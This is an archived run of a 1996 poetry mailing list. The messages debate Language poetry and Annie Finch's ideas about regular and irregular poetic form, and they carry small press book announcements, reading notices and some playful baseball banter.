to myself at age 20,
and press five dollars into his hand
so he can sleep.
While he stands trembling on a street in Fresno,
suddenly one among many in a crowd
that strolls down Fulton Street,
among the stores that are closing,
and is never heard of again.

↑ Index

197. **landers**
Re: Ism-isms
Sun 12 May 1996

Ron writes, re:
>>From: Gwyn McVay <[redacted]>
>>Subject: Re: relang.
>>
>>When did the term "L=A=N=G=U=A=G=E" poet vs. "language" poet drop out
>>of use?
>
>So far as I know, nobody associated with the poetry itself ever used
>the equal signs in a self-identifying fashion. Some others (critics,
>reviewers and revilers) did so in order to associate the social
>phenomenon with one of its later manifestations. I've always read the
>equal signs as a special code on the part of an author as their way of
>signalling "I don't get it"
>
>Ron Silliman

Ron,

I have used the equals to indicate the 'zine. What do these poets have in common beyond the 'zine, anyway? Sure, there seems to be a common reading list... one that was written about extensively in the 'zine! And there are common publishers. I don't think of language poetry as a school of poets so much as a group of readers who share their points of view in similar forums. And, if it is a school, there are a lot of fish swimming the other way! The 'zine was the hippest thing when it was going. I might say you all had a common essay style, but that's about as far as I would go.

I used to sneak reading time in L=A=N=G=U=A=G=E when I was supposed to be shipping books. You were all very helpful to me because you let me know that someone out there liked the same stuff. The universities sure weren't foisting LZ or Gertrude.

Peter Landers
[redacted]

Hey readers! Check out my website... I'm getting ready for the great unveiling of Happy Genius, and I practiced on my own poetry.

http://www.vivanet.com/~landers

pdl

↑ Index

198. Aldon L. Nielsen
Re: = that is to the thing itself
Sun 12 May 1996

---

as critic / reviler I never used "L=A=N=G=U=A=G=E School" or movement, but was found on occasion using "L=A=N=G=U=A=G=E" to refer to writers who in fact appeared in the pages of said mag., and to continue to distinguish that from the journal _Language_, already on the scene before Bernstein and Andrews got their stapler going --

But, Chris, I wasn't trying so much to coin a new movement as to make use of that which has now been left behind, and is therefore there for the taking? If we are to write of "language writers," I think, particularly since I work, when I work, at the same institution as Alan Soldofsky, one of the ur-revilers who first loosed the unequal version of the misnomer upon the world, that I should inherit those now unused symbols of identity; I'm such an egalitarian -- though I may not be equal to the task --

As Dodie & Kevin mentioned -- Those Jonas broadsides are BEAUTIFUL -- Jeff Conant's work is a prize -- each sheet is different from the others -- GET ONE OF THESE! -- better than yr average broadside == dare I say, without equal?

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199. Douglas Messerli
New Sun & Moon electronic magazine
Sun 12 May 1996

Dear Friends,

Thanks for the orders for RIBOT and FROM THE OTHER SIDE OF THE CENTURY. We still have copies of all of these, and can fill further orders at the same prices ($4.00 for the RIBOTS) and ($5.00 for the anthology) if you missed out on this good sale. We'll plan sales of other slightly damaged S&M titles from time to time.

I'm writng at this moment, however, to announce a new magazine of the internet: WHERE LITERATURE LIVES. The first issue, #1, is now up at the Sun & Moon web-site (http://www.sunmoon.com). This will be a monthly magazine with selections from forthcoming Sun & Moon titles, reviews of Sun & Moon books, occasional reviews of other

books, plays, and films (incorporating what we tried to
do in EL-E-PHANT) and other literary information.

The first issue, designed by the remarkable Kenny Goldsmith, contains fiction by Spanish writer Norberto Luis Romero, a selection from the new novel NOD, by Fanny Howe, and a section from Stacey Levine's upcoming novel, DRA--. The issue contains poetry by contemporary Norwegian poet Paal-Helge Haugen, the Finnish poet Claes Anderson, the great living Turkish poet Ece Ayhan, the Austrian modernist Friederike Mayrocker, a work from readiness / enough / depends / on by Larry Eigner, and poems by younger American poets Lee Ann Brown, Juliana Spahr and Cole Swensen. The first issue also has a powerful essay "Further Under" from Aaron Shurin's forthcoming UNBOUND: A BOOK OF AIDS.

We invite you to all take a look at this new offering, and down- load any stories or poems you want. Do remember, however, that all material is copyrighted.

We're hard at work on the June issue.

Finally, two new Sun & Moon books have just been published, and we expect a third next week. They are:

THE CATASTROPHE, a wonderful new novel by Robert Steiner
ISBN: 1-55713-233-X, Sun & Moon Classics #134, $13.95

WHERE HEAT LOOMS, a collection of poetry by the renowned French Modernist Andre du Bouchet
ISBN: 1-55713-238-0, Sun & Moon Classics #87, $12.95

and

LOTION BULLWHIP GIRAFFE, a first collection of poetry by Tan Lin ISBN: 1-55713-258-5, New American Poetry Series: 26, $10.95

Sun & Moon offers a 15% discount on these titles for the Poetics List.

Order through our web-site.

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200. Charles Alexander
info: May 12 update book information website
Sun 12 May 1996

I thought this might be useful to at least a few on the Poetics List. I haven't checked it out enough to know if such special collections as SUNY/Buffalo's Poetry Room, or UC-San Diego's Archive for New Poetry, or SF State's American Poetry Archive, are included. One would hope so, as well as other treasures

perhaps. Some of the sites which concern book arts and alternative book forms may be of interest to those interested in textual/visual concerns.

>Return-Path: [redacted]
>Date: Sun, 12 May 1996 10:09:31 EDT
>Reply-To: "The Book Arts: binding, typography, collecting"
> <[redacted]>
>Sender: "The Book Arts: binding, typography, collecting"
> <[redacted]>
>From: Ton Cremers <[redacted]>
>Subject: info: May 12 update book information website
>To: Multiple recipients of list BOOK_ARTS-L
> <[redacted]>
>X-UIDL: f769d2aa6439f37bac7acf166533b5d7
>
>Http://www.globalxs.nl/home/c/cremers
>
>
>In our May 12 update you can find new links to:
>
>-Special Collections of the University of Virginia Library with underlying links
>to Special Collections on the Internet, the Electronic Text Center (top 5% of
>the web, Magellan 4 stars site), National and International Special Collections
>-Scott B.Denlingers site (Catalog Librarian for the German Library Project at
>the German Society of Pennsylvania)
>-The American Library Ass. (oldest and largest library ass. Of the world)
>-information was added to: Online Catalogs with Webbed Interfaces
>-visit our page http://www.globalxs.nl/home/c/cremers/bo00025 Extraordinary and
>the on-line exhibition The Pop-Up world of Ann Montanaro, with links to other
>Pop-Up sites and textfile History of Pop-Up and Movable Books
>-Pop-Up books from the Collections at the Lilly Library
>-Broders Rare and Used Books
>-in the Manuscript section a modern manuscript has been added: Maske: Thaery
>Jack Vance, a website by Mike Berro
>-Legacy Art & Bookworks, Columbia MO, Bookconservation and repair, Hand-binding,
>Decorated Papers, Workshops
>-(The Friends of) The Museum of Printing. A museum not yet to be visited but the

>plans seem to be okay
>-Typography Links and Contact,regularly updated page with over one hundred
>typography links
>-Kelly Stones IDIOLECT in the artists books section
>-Nat.Museum of Am.History and Printing Presses in the Graphic Arts Collec-
tion
>-new page has been created with Photography Galleries on the WWW
>-The Penny Magazine, nineteenth century weekly magazine for the working-
class.
>Many issues on-line
>-Miniature Book Society
>-in the manuscript section: The Tyndale New Testament, The Sforza Hours,
Magna
>Carta, Lindisfarne Gospels
>-Type designers and their faces: Alphabetical list of type designers
through the
>ages, with samples of their work and biographical information
>-Cathedral Libraries Catalogue, books printed before 1701 in the libraries of
>the Anglican Cathedrals of England and Wales
>-Five hundred Years of Bembo, with related links.
>-Joseph Wu Origami Page (nice site)
>-Xerxes Books Home Page
>-Archives and Manuscript Finding Aids at Harvard/Radcliffe
>-Manuscripts with Music: seminar in the History of the Book to 1500.
>-Sarabande Paper Quote. High resolution scans of handmade papers.
>-Information has been added to Center for Book Arts summer programs: large
>textfile with information about all couses at the Center for Book Arts.
>
>Please send information about additional relevant sites.
>
>5/12/96
>.....
>regards,
>
>
>Ton Cremers and Marian Beereboom
>******BOOKS**********
>Rechter Rottekade 171
>3032 XD Rotterdam
>Holland
>e-mail: [redacted]
>e-mail: [redacted]

>http://www.globalxs.nl/home/c/cremers
>http://ourworld.compuserve.com/homepages/cremers_books
>INFOCENTER ON BOOKS/BOEKEN INFORMATIE CENTRUM
>**********
>
>

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201. **Maria Damon**
Re: Ism-isms
Sun 12 May 1996

aldon, cd u back channel me or snail me w/ yr jonas paper of which rilliman raves?
128 racing beach ave
falmouth ma 02540

bests, maria d

↑ Index

202. **landers**
laughing at myself about Tagart
Sun 12 May 1996

I'm laughing hard at myself! I just read Taggart's piece in Apex of the M and I don't think he would take too kindly to my comparison of him to Glass. I was thinking of "Peace on Earth" when I said that. oops! It just goes to show how such comparisons are misleading. And yes, I found the interview where Creeley and Ginsburg are talking about music. Creeley said that he was writing while listening to jazz.

Peter Landers
[redacted]

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203. **Mark Wallace**
formal continuum/conspicuous repetition (fwd)
Sun 12 May 1996

Annie Finch has asked me to forward the following message to the poetics list. She is not on the list herself, but I will send any responses on the list to her, and of course anyone who wants to contact her could do so at the address below.

Mark Wallace

---------- Forwarded message ----------
Date: Fri, 10 May 1996 15:39:42 -0500
From: Annie Finch <[redacted]>
To: [redacted]
Cc: [redacted]
Subject: formal continuum/conspicuous repetition

Dear Mark Wallace,

My email access is restored and I can finally think about the compelling issues raised by our recent discussions about innovative form. It seems to me that the distinction between "innovative" and 'noninnovative" forms, implicitly raised by your comment that I had overlooked certain forms in my AWP piece, may be an unnecessary distinction. Perhaps, as Michael Boughn has suggested, the distinction between formal and nonformal poems is, in the final analysis, also an unnecessary distinction, and poems are all formal but lie along a continuum between regular and irregular form. In the AWP piece, as in the Formal Feeling Comes anthology, I tried to define the characteristics that bring a poem closer to the regularly formal end of the continuum, namely a structure formed by conspicuous repetition of any language element. The question is, is there anything in that definition to rule out innovative poetry. After considering the texts you mentioned in your fascinating bibliography, I still don't think there is any opposition between my definition of form and innovative language use. There may be temperamental disinclination among many "innovative" poets to use regularly repeating forms, which may be why I had such a hell of a time finding regularly formal innovative poets for the anthology. But they do exist, as you so rightly point out; Henry Gould, Jackson MacLow, Juliana Spahr, etc., are certainly writing regularly formal poems. The two points I would make are these: First, I have yet to see (though I would LOVE to see) a regular form that is truly, in and of itself, an Innovative Form--in other words, a form, according to the structured by conspicuous repetition definition, that is truly NEW in a significant way. Jackson MacLow, of whom I am now a staunch fan, and who I am extremely grateful to you for making me read again, does wonderfully innovative things IN form, but the forms themselves are familiar forms; he uses a kind of pantoum in "HappyNew Year 1964," "syllabics in "Odes for Iris," concrete or shaped poems, a sonnet once in a while, and most of the time, even in incarnations as fresh as "Molly Go" and certainly in poems like the Light poems, a form as old as the hills, very flexible and often overlooked as a form, but a familiar regular form nonetheless: the chant. Is it possible that regular forms are like the letters of the alphabet--you can do things with them that are new, but they themselves are basically simple tools, hard to improve on, Dr. Seuss's On Beyond Zebra notwithstanding? If this is true, getting that fact out into the

open would certainly simplify the field of poetics at the formal end of the continuum. I am, of course, keeping here to the definition of formal poetry as structured by the conspicous repetition of any language element, a definition that is practical and of necessity somewhat reductionistic. The fact that irregular form, organic form, and larger formal/thematic structures also operate in much contemporary poetry at the "irregular" end of spectrum shouldn't interfere with the usefulness of a firm definition of what is formal at the "regular" end. The other point concerns what Michael Boughn calls 'deformations," poems that change/deform received forms. After much thought on this matter, it seems to me that, while all deformations of a traditional form can certainly be usefully thought of as akin to each other, some deformations remain at the formal end of the continuum while others do not. To take the sonnet as an example, the deformations I included in A Formal Feeling Comes are still regularly formal--some rhymed nonmetrical sonnets, some unrhymed metrical sonnets, some metrically variable but still metrical sonnets, some 16 or 18 line sonnets or 12 line sonnets that kept the rhyme and meter. All these deformations are still formal, because they are structured by the conspicuous repetition of language elements. Bernadette Mayer's deformations of the sonnet, while it is interesting to consider them in the context of the more formal deformations--which is why I mentioned them in the introduction to A Formal Feeling Comes-- are on the other hand not regularly formal, in my opinion, since the only elements of the sonnet they keep are the name and the length and they are otherwise irregular in structure (length, by itself, seems a quality of extension or size, not of structure or shape, or else any nineteen-line poem would be a villanelle). At this point, my preference in editing the upcoming book would be to include "innovative" poems, poems with nonreferential or nonsequential language, among the more mainstream poems, as much as the editors of the individual sections (the section for each form will be edited by a different poet) would like/will permit. Unless any innovative regular forms turn up that really WON'T fit under the existing rubrics of chant, concrete poem, syllabic poem, etc., it seems an inappropriate ghettoization to isolate innovative poems in a separate section based on their language when their forms would include them in already existing sections. Any poets who do have innovative regularly formal poems, by themselves or others, that they'd like to have considered (keeping in mind that this anthology will consist largely of pre-20th century poems, so space is very limited for contemporary work) should contact me or Kathrine Varnes, my coeditor ([redacted]), and we will forward the work to the appropriate section-editor; also anyone who has a strong proclivity for a certain form and might want to edit a section on it, please contact us and we'll see if the form is still available.
Many thanks, Mark, for forwarding this message to the poetics list.

ANNIE FINCH
DEPARTMENT OF ENGLISH
MIAMI UNIVERSITY

↑ Index

204. Walter K. Lew
Re: Billy Whitelaw 2B
Sun 12 May 1996

Billy Whitelaw may not play 2B, but it is a perfect ballplayer's name, considering the number of Billy's, White's (Bill White 1B, Frank White 2B, Roy White OF, etc.), and Law's (Vernon, most of all) that have played major league ball. For fantasy lineups, please see Charles North's series of ten lineups in _Transfer_, 1/2 (Sp '88). Just to give two examples:

Clover cf
Chicory 3B
Daisy ss
Sunflower lf
Thistle 1b
Dandelion rf
Queen Anne's Lace 2b
Milkweed c
Honeysuckle p

AND:

Pun ss
Paradox lf
Metaphor cf
Simile rf
Hyperbole 1b
Metonymy 3b
Irony c
Understatement 2b
Zeugma p

And what abt that City Lights book about 20 years ago, _Major League Poets_? I still remember the profile of Franz "Bugsy" Kafka 2b, known for his problems w the management, and the opening logo of the baseball diamond pasted-in between the two legs of a Blakean compass. Who wrote that book? I lost my copy long ago.

My baseball memory begins with the Baltimore Orioles of 1964, Brooks Robinson's MVP year, and the arrival of Frank Robinson in 1966, how he played w an

intensity, pride, AND self-abnegation that I had never seen before (willingness to hit a ground ball to the right side to move a runner up despite leading the league in home runs, slamming the only homer completely out of Memorial Stadium off El Tiante after being decked twice by pitches aimed at his head, etc.). Many years later, when Frank Robby was part of the visiting Orioles' office staff, I waited outside in the rain at Yankee Stadium after a game hoping to get his autograph. When he opened the door to see how hard it was raining, I pleaded: "Frank! I've been a fan of yours for 20 years--you gotta sign my glove!" He looked down at me and said with a smile, "No I don't," and shut the door. Elrod Hendricks, bullpen coach at the time, and also a player on the 60's Orioles, was a lot kinder. I guess I'm just telling this pointless story to see if there are any other Orioles fans lurking on the elist...

[redacted]

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205. Eryque Gleason
Re: teach, teach
Sun 12 May 1996

---

maria d. done writ:

> *says she's gotten anonymous hate*
> *mail from students saying stuff like, "we pay you to teach, so teach."*

a couple weeks ago i witnessed a convo on campus about this very topic. one of the grad students said that when she gets that sort of response from students she makes *them* get up and teach the class.

dan h. done wrote:

> *Those of us in the info tech industry have always known and championed the fact that information is a commodity.*

yeah, but. information isn't *always* a commodity, is it? sometimes the stuff's just got no "market value" and is nothing but some used up brain cells. seems like a lot of my classmates have the idea that we show up to our very first college class and some old bearded man in a tweed jacket (leather arm patches optional) hands them a big plastic bag which we are supposed to spend the next four (or five or six) years filling. then the idea is (supposedly) that we take our bags o' facts to our first job and wow em. (!) i dunno, maybe if someone had created a really good sorting system for their bag it might be impressive. mine's worn a hole through the bottom already and i can never find anything but poetry anthologies and pop-tart wrappers except the one time i found my marbles.

anyway, i'd hope that more people start to figure out that a bag o' tricks (so to speak) might be handier in "the real world".

> *It used to be knowledge, but nowadays who can know everything?*

what the heck does that mean?

nuttin' up my sleeve,
eryque

↑ Index

206. Thomas Bell
serious poetry?
Mon 13 May 1996

I hope these two were misquoted or poorly edited. The hundreds of thousands who read it wouldn't wouldn't read it at all if they didn't care about it, would they? It wouldn't matter where it was written. Would lovers of "serious" poetry only seek it in the cloisters? tom

> *"A group of Nobel Prize winning poets has declared that cyberspace is no place for serious verse, according to Reuters. Asked if the use of the Internet was one way to reverse the low popular appeal of poetry, the group said no. Poets Derek Walcott, Octovio paz, and Czeslaw Milosz were undaunted about the current dearth of readers. Walcott stated that "I'd rather have just one person who reads and feels my work deeply than hundreds of thousands who read it but don't really care about it." Milosz allowed that computers were useful incomposition, but was skeptical that lovers of serious poetry would look for it on the Internet.*

↑ Index

207. Eryque Gleason
Re: serious poetry?
Mon 13 May 1996

> *...Milosz allowed that computers were useful incomposition, but was skeptical that lovers of serious poetry would look for it on the Internet.*

uhm, "GIMME AN F!!!!! GIMME A U!!!!!! ....."

↑ Index

208. William Northcutt
to Doug Messerli
Mon 13 May 1996

Sorry folks, couldn't reach Doug's address for some reason.

Doug, could you please send me 3 copies of From the Other Side...@$5 each?

William Northcutt
Anglistik I, GWII
Universitaet Bayreuth
95440 Bayreuth
Germany

Thanks, William

↑ Index

209. Chris Stroffolino
Re: formal continuum/conspicuous repetition (fwd)
Mon 13 May 1996

Dear Mark Wallace--- Thanks for forwading Annie Finch's remarks on poetry. I am going to have to print the message out before I can respond more fully, and hopefully then, some of the distinctions she makes between formally innovative poems, etc, will become clearer. But, valuing a stance of "naivete" as I do, I'm curious as to some of the applications of these distinctions. In considering form as a criteria for anthologies (ostensibly in disregard of other aesthetic/tonal/ emotional/ concerns), do these other (ostensibly non-formal) considerations slip in through the backdoor as it were? For instance, there seemed to be an implicit (latent--though I may be simply reading this into Ms. Finch's remarks) PREFERENCE for the "regular" forms of MacLow over the "irregularities" of Mayer. Does this mean that Ms. Finch would be more apt to include Maclow in her forthcoming anthology than Mayer (let's get down to the realpolitik of it!)? I am also wondering if my recent series CUSPS (Aerial/Edge, 1995-- I think Rod still has copies) would be considered as "innovative regular formal" or "innovative irregular formal" (or neither).... Chris

↑ Index

210. Henry Gould
Re: formal continuum/conspicuous repetition (fwd)
Mon 13 May 1996

On Sun, 12 May 1996 18:38:42 -0400 Annie Finch said:
> The two points I would make are these: First, I have yet to see

>(though I would LOVE to see) a regular form that is truly, in and of
>itself, an Innovative Form--in other words, a form, according to the
>structured by conspicuous repetition definition, that is truly NEW in a
>significant way.

> *Is it possible that regular forms are like letters of the alphabet--you can do things with them that are new, but they themselves are basically simple tools, hard to improve on, Dr. Seuss's On Beyond Zebra notwithstanding? If this is true, getting that fact out into the open would certainly simplify the field of poetics at the formal end of the continuum.*

This is an interesting question. My first reaction would be that every form had to be a new form at some point in history, so the advent of really new forms would have to be a probability. On the other hand, perhaps forms like the sonnet or the villanelle should be considered "finishings" rather than something really new. If one tries to view the whole span of poetry history, the sense is that distinct forms emerged out of an archaic ritual matrix in which specific song-forms filled particular communal roles, so that more recent, "literary" forms might be "finished" conversions on an older "alphabet", rather than really new.

What then is this "finish" - and is there a potential for "really new" forms in contemporary writing on a par with the sonnet (i.e. not really REALLY new, but new conversions of an older alphabet)? Perhaps the common element in finish is a kind of complexity - an added layer of self-consciousness or reflexivity or awareness which renovates a slumbering form - or a slumbering social reality which instigates a form. Here again, though I hate to sound axe-grinding repetitive, poets might find some useful tools in the study of formal logic. CS Peirce's logic/semiotic is all about how new knowledge is worked out by way of an acute awareness of the linguistic workings of thought itself - his "logic of relatives" (warning: I'm a novice here & am probably misrepresenting this) seems to be about discovering new meaning in the structural overlay of term/hypothesis/proposition/argument - i.e. hypothesis is built in to the structure of EVERY verbal statement. So that in this day & age "really new" forms might grow out of a logical systematic built into poems - that poets might discover these forms by grounding verbal "hypotheses"(i.e. the "content") in the concrete "evidence" or "argument" of the form. (Here "form" and "content" would be reversible - and Peirce's category of "thirdness" or meaning/law would play the role of structure or completion - the "formal feeling"). This is probably already being done by several poets. And these new new formalists are probably breaking hearts just like the old ones. - Henry Gould

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211. Kevin Killian
SPT's annual soiree
Mon 13 May 1996

Hi, this is Dodie Bellamy. The board of Small Press Traffic asked me to post the following:

U.S. Poet Laureate to be honored by San Francisco's Small Press Traffic

Robert Hass, Poet Laureate of the United States, will be among the guests honored at Small Press Traffic's annual Soirée benefit on June 2, 1996. The fundraising event celebrates SPT's recent move of its Literary Arts Center to New College of California at 777 Valencia in San Francisco.

A number of the Bay Area's important literary figures will be in attendance, including Francisco X. Alarcón (Lenguas Sueltas Poemas), Barbara Guest (Fair Realism), Thom Gunn (The Man with Night Sweats), Ginu Kamani (Junglee Girl) and Janice Mirikitani (Shedding Silence). In addition, there will be an auction of signed manuscript pages by the above mentioned writers as well as signed works of William S. Burroughs, Ted Berrigan, Dorothy Allison, Richard North Patterson and others. Food and beverages will be provided, plus music by Megan Bierman on the tenor saxophone.

The Sunday event will be held from 4:00 to 7:00 p.m. at the San Francisco home of Edith Jenkins. Parking will be available. A tax-deductible donation of $40-$60 is requested. Call [redacted] for more information and reservations.

Small Press Traffic was founded in 1974 by a group of writers and individuals who saw the need for an outlet for new and experimental writers and small press publications. From being primarily a bookstore, Small Press Traffic has evolved into a presenting organization sponsoring writing workshops and readings throughout the year, with special attention to emerging writers. Small Press Traffic's new home at New College will also allow the organization to establish a writing/publishing resource library open to the public.

↑ Index

212. Maria Damon
Re: Billy Whitelaw 2B
Mon 13 May 1996

wall, we've talked about that Big League Poets a while back. it's by Mikhail Horowitz, and someone just sent me a copy in response to my enthusiasm. --md

↑ Index

213. Maria Damon
Re: formal continuum/conspicuous repetition (fwd)
Mon 13 May 1996

this is maria --hi annie! (we were grad school colleagues, she was my "apprentice" teacher in freshman english, that wonderful institutionalizing-discursive institution of stanford). i don't have much to say on the subject of form, except to ask why it is such an emotional/intellectual issue in poetics circles. this is not a rhetorical question --what's at stake in the "form" issue? love, maria

↑ Index

214. henry gould
formal/continuum addendum
Mon 13 May 1996

Another thought on Annie Finch's post : seems like the "search for new forms" would want to take chaos theory into account. Here's CS Peirce in 1884, a century before chaos theory arrived:

"You have all heard of the dissipation of energy. It is found that in all transformations of energy a part is converted into heat and heat is always tending to equalize its temperature. The consequence is that the energy of the universe is tending by virtue of its necessary laws toward a death of the universe in which there shall be no force but heat and the temperature everywhere the same. We may say that we know enough of the forces at work in the universe to know that there is none which can counteract this tendency away from every definite end but death. But although no force can counteract this tendency, chance may and will have the opposite influence. Force is in the long run dissipative; chance is in the long run concentrative. The dissipation of energy by the regular law of nature is by those very laws accompanied by circumstances more and more favorable to its reconcentration by chance. There must therefore be a point at which the two tendencies are balanced and that is no doubt the actual condition of the whole universe at the present time."

Rigid formal structures in poetry might be considered analogues of entropy as Peirce describes it above; I have certainly found in my own writing that forms increase the opportunities for chance combinations. Perhaps the "finished", literary forms such as the sonnet are, again, chance recombinations expressing social entropy of some kind. The difficulty is finding a real home in forms, rather than a sense of school project or alienated rhetorical hat-trick. Maybe form is like the rundown tenement occupied by squatter architect-gardeners, where entropy becomes possibility. Or, in Mandelstam's words, "classicism is revolution", and "tall grass is growing in the streets of St. Petersburg". - Henry Gould

↑ Index

215. Jordan Davis
all sonnets by Hal Sirowitz
Mon 13 May 1996

First of all,
Bernadette Mayer does not preserve the codified length of a sonnet
(14 lines) consistently throughout her book
The Sonnets. Some go 16.

Second of all,
To call all repetition of a given word chant is to collapse
In a heap the distinctions between jazz and plainsong,
Light poems and sleeping with women.

Third of all,
I'm hearing all these echoes of the
Alfred Corn discussion is anyone else. A sonnet
Is not sitting down and writing some metronomically correct thing.

And neither am I.
There's usually a turn in a sonnet but all I hear is one side of the argument.

↑ Index

216. Jordan Davis
Re: pick ONE
Mon 13 May 1996

> *4. I'm going to sit write down and right myself a letter (pick ONE: abcdefghijklmnopqstuvwxyz)*
>
> *Obviously some sort of trick deck, though I don't get the point of the trick.*
>
> *Or perhaps an homage to WCW.*

Close. This is clearly an homage to Tony Door, expositor of the early history of the Commutative Function of the Alphabet poets (CFAP, no equal signs). --J (for metric's sake)

↑ Index

217. Keith Tuma
Re: formal continuum/conspicuous repetition (fwd)
Mon 13 May 1996

Re the form fuss: from this morning's reading some instances to ponder:

Reference

this is the poem from which i quote
'this is the poem from which i quote'

Sunday Draught

studying zymology, and in particular zymurgy
watching the zymogenesis of the zymogens
counting the zygospores and zygotes after zygosis

zymosis! quick, the zymometer!

Two from a page of Tom Raworth's _Tottering State_

Form is a kind of quotation? What's at stake is what's being quoted and how? What's not "at stake" is the "temperamental disinclination among many 'innovative' poets to use regularly repeating forms" but rather what "counts" as "linguistic elements"--e.g., the sentence (the period), the phrase, the phoneme, a "regular" propensity for the ampersand, his relentless ability to work the word "blue" into every line, your sudden happenstance decision to print every poem in the last half of the book in the shape of a hippogriff? Form of the utterance, form of the text? Form of the noise, form of the doodle? Form of the question "What form is that?" Form of the frame framing fractious fomenting re form?

best to all from here where the flowers babel,
Keith

↑ Index

218. Aldon L. Nielsen
Re: Jonas Jones
Mon 13 May 1996

Maria -- You already have it, to all intents and purposes -- I gave a talk based on the longish chapter I mailed you a couple years back, supplemented with reading from some unpublished letters & poems --

That Jonas chap. will appear in another book from U of Georgia Press -- however, since said book won't appear for more than a year yet -- I am ready to accept invites to blabber from said chapter here & there! and will, of course, share copies of this uncorrected ms. with folk writing on Jonas --

Meanwhile -- Please note that new issue of _House Organ_ has poem by Russell Atkins, who is not heard from that often these days --

↑ Index

219. c.g. guertin
Re: formal continuum/conspicuous repetition (fwd)
Mon 13 May 1996

On Mon, 13 May 1996, Keith Tuma wrote:

> Form is a kind of quotation? What's at stake is what's being quoted and how?
> What's not "at stake" is the "temperamental disinclination among many
> 'innovative' poets to use regularly repeating forms" but rather what "counts"
> as "linguistic elements"--e.g., the sentence (the period), the phrase, the
> phoneme, a "regular" propensity for the ampersand, his relentless ability to
> work the word "blue" into every line, your sudden happenstance decision to
> print every poem in the last half of the book in the shape of a hippogriff?
> Form of the utterance, form of the text? Form of the noise, form of the
> doodle? Form of the question "What form is that?" Form of the frame fram-
ing
> fractious fomenting re form?
>
By this definition, would Daphne Marlatt's use of space/silence as a part
of the alphabet of her poetic form be a regular repeating form...or is it
no form at all?

Carolyn Guertin
[redacted]

"One's life is particularly one's own when one has invented it" -- Djuna Barnes, Nightwood

↑ Index

220. Herb Levy
Re: pick ONE
Mon 13 May 1996

Jordan -

Perhaps I was too oblique. If you use CFAP on the alphabet cited below, you'll end up with a lipogram. One has already been picked from this not so fresh deck.

- H

> *4. I'm going to sit write down and right myself a letter (pick ONE: abcdefghijklmnopqstuvwxyz)*
>
> *Obviously some sort of trick deck, though I don't get the point of the trick.*
>
> *Or perhaps an homage to WCW.*

> *Close. This is clearly an homage to Tony Door, expositor of the early history of the Commutative Function of the Alphabet poets (CFAP, no equal signs). --J (for metric's sake)*

Herb Levy
[redacted]

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221. Henry Gould
Re: formal continuum/conspicuous repetition (fwd)
Mon 13 May 1996

On Mon, 13 May 1996 10:29:50 EST Keith Tuma said:
>
>studying zymology, and in particular zymurgy
>watching the zymogenesis of the zymogens
>counting the zygospores and zygotes after zygosis
>
>zymosis! quick, the zymometer!

By gum, this is not science. This is zymnastics. Ergo: poetics. Fourfold zymn-ergy, Dr. Livingstone, I presume. pi + paw(2) = pi/face. Elementary. - Dr. Gesund Heit, Ph=d

↑ Index

222. Rod Smith
Object 6/ DC Reading
Mon 13 May 1996

Sunday, May 19th @ 3 PM

Jennifer Moxley
& Lisa Jarnot

@ DCAC 2438 18th St NW ph [redacted]
(near 18th & Columbia) (it's 3 bucks)

I am even more reccomendatious than usual w/ regard to this reading. Ya'll come. Also:

Just published:

Object 6 featuring Jennifer Moxley. Includes 17 pages of her work. If you don't get it, you don't get it. Also 8 pages from Jarnot's "Sea Lyrics", Toscano,

Sher, Stefans, Farrell, Lawrence, Kovac, Keckler, Hale, cover art & portfolio by Richard Baker.

Make checks payable to Robert Fitterman. $7 per copy, $12 two issue subscription. _Object_, 7-13 Washington Square North #47B, NYC, NY 10003.

The credits:
DCAC series curated by Heather Fuller & Joe Ross
Object 6 edited by Robert Fitterman
Thank you.
The end.
etc.

↑ Index

223. Jordan Davis
Re: pick ONE
Mon 13 May 1996

Yah--R for Rothschild. (Duglas Rothschild, aka Tony Door)

but then I always was bad at reading comprehension..

--Jd

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224. David Baratier
formal continuum
Mon 13 May 1996

Dear Annie Finch,

It seems apparent from having viewed this discussion about the AWP piece for the last few months that your idea of the "regular formal" includes a specific metric rhythm and that this rhythm is observed only in terms of the line it occurs within. These limitations directly result in your observation of not having seen "a truly innovative form" with your search. Had I the same constraints would have surmised the same conclusion. When the formalized criteria is widened in dimensions to include a work that is written in series, the first thing one notices from the "irregular" form (as you termed it) is what elements work toward regularizing the rest of the piece. Within a masterwork, one finds that the defining elements of regularities rest within the axiom and create a core for a piece of work to be understood. When repetition occurs in large series of pieces, it is no longer the structure of the language element which one concerns themselves with but rather what center does this series revolve around and refine through its innaccuracies and

reververations to the evolving form. I would like to take the epistolary form as an example. Rather than fitting your definition of a strict metrical form, these types of pieces rely upon the tone of the lyric as a methodology to establish what contitutes the form. The material often focuses on what cannot be said to another in person because of the inaccuracies within the referent of the body, and some closing of the past through the event of the letter. That Heloise could not reach her emotions for Abelard until the bodies were no longer a signifier-chain which diffused or confused meaning. That syntactical logic for Cicero only had a direct correlation to the page and could not be constructed otherwise. That Paul could not tell the Corinthians what to do in person. When reading any of these in series one relies upon the understanding of tone and timber, coveyed by the syllables and syntax more than the metrical structure of the piece. While mono-syllabics may induce a palipitation for revolution in a letter from Neruda or a staccato of laughter from Pope, it is discerning the tone of the speaker which is the form. These ideas themselves have went through further transliterations as one could experience through the recent work of Alice Notley's Descent of Alette where the tone of the voice itself is nearly impossible to discern, thereby adding to the epic and epistilary form through a new conveyance of voice. I think your decision to avoid the "informal poetries" severely limits your capacity for exhumation of past forms and for present discoveries and do hope that some of the words on this list will be conducive for challenging your opion as expressed in the AWP article.

Be Well

David Baratier

[redacted]

↑ Index

225. Ken Norris
Somewhere Across the Border
Mon 13 May 1996

The second issue of Somewhere Across the Border, a Canadian Interactive Poetry magazine, is now available for viewing at

www.letelier.com/sab/sab.html

↑ Index

226. Emily Lloyd
Re: Cope's Stein/Rod? Gwyn?
Mon 13 May 1996

Sorry it's taken me so long to thank you for these leads--I've been horribly lax about e-mail for awhile, tackling finals, attending a conference, writing a book proposal <arrgh>...thanks very much. I tracked down the Stimpson & it *is* interesting...anyway, pleased to meet you backchannel. Are you a prof or student at Johns Hopkins? I'm starting an MFA at George Mason in the fall, pretty close... em

At 08:25 PM 5/2/96 -0400, Jennifer Ashton wrote:
>I tried to post an answer to your query about transgender criticism on
>Stein once before and for some reason my post never appeared. I hope
>this works. There are a couple of earlier accounts that you might
>consult, if nothing else just to see how much more thinking still needs
>to be done on this subject. A couple of not-so-recent essays by
>Catherine Stimpson are "Getrice/Altrude: Stein, Toklas, and the Paradox
>of the Happy Marriage" and another for which I am missing the title, but
>I know the phrase "Lesbian Lie" or "Lies" is in there somewhere. Also,
>you might look at "A Signature of Lesbian Autobiography" by Leigh
>Gilmore, also not-so-recent.
>
